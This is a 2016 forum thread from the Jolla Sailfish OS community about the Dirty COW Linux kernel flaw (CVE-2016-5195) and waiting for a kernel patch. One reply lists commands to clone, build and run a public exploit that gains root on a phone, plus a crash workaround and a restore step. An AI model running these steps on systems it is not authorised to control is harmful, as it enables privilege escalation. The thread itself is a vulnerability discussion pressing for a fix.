[patch-request] Sailfish kernel and dirty cow CVE-2016-5195 [released]
... are there any thoughts about kernel patches like https://dirtycow.ninja? Is ist possible?
We have moved to a new Sailfish OS Forum. Please start new discussions there.
... are there any thoughts about kernel patches like https://dirtycow.ninja? Is ist possible?
@Federico The bug isn't remote-exploitable, so as long as you only install and use trustworthy software, the risks aren't that huge on a phone. Of course, if an attacker manage to get remote access on the user account, dirty cow could still be used to gain root, so the risks aren't negligible. All in all, I'm not that worried about this. Remote attacks on e.g. the broken wifi-drivers are worse, imo. (Thanks for that, Qualcomm, and thanks for the free and swift bugfixes! Your products are really trustworthy, and I'm really looking forward to buy another device made with your chips again! /sarcsasm)
Fuzzillogic ( 2016-11-02 23:01:54 +0200 )editThe Dirty Cow hack works very well on a Jolla. Dirty Cow has a well-known issue that crashes Linux unless you disable writeback, however that has a simple work-around.
To test on your own phone:
pkcon install gcc gcc-c++
git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195/
make
./dcow ; su
Use: dirtyCowFun
as your password
You are now root! However, to avoid an imminent crash, you must quickly also do:
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
This has all been run and verified on both my Jolla1 and my FairPhone2, so the exploit is very much valid for Sailfish!
Finally, to close the hole you just opened to get root, you should:
cp .ssh_bak /etc/passwd
WARNING! Unless you understand the details about /etc/passwd, you should not try this exploit: You risk opening your phone to the world! This will quickly result in your phone becoming a bot-net zombie for spammers, your ip added to all sorts of blacklists, and your battery being continuously drained to email hundreds of thousands of spam.
This very brilliantly demonstrates the need for an urgent kernel patch for the Jolla systems
Richard
richardski ( 2016-10-31 12:56:00 +0200 )editIt's not quite that bad on a phone, since you have to log in with a user account before you can run the exploit. Usually, only the owner of the phone has an account on it. So, unless you have ssh
enabled with a weak password, you should be OK. However, on a multi-user Linux server, it is a disaster!
New Kernel 3.4.113 does include a patch. Now we have to wait until it shows up on devices...
This thread is public, all members of Together.Jolla.Com can read this page.
Asked: 2016-10-21 10:56:29 +0200
Seen: 2,105 times
Last updated: Nov 02 '16
Word prediction should be always turned off when entering passwords in Android apps [released]
Password manager for Sailfish [answered]
Android VKB saves and suggests passwords in plaintext
[Feature-request] Track & protect my Jolla
Cloud backup should be encrypted
Guest account for demonstration [answered]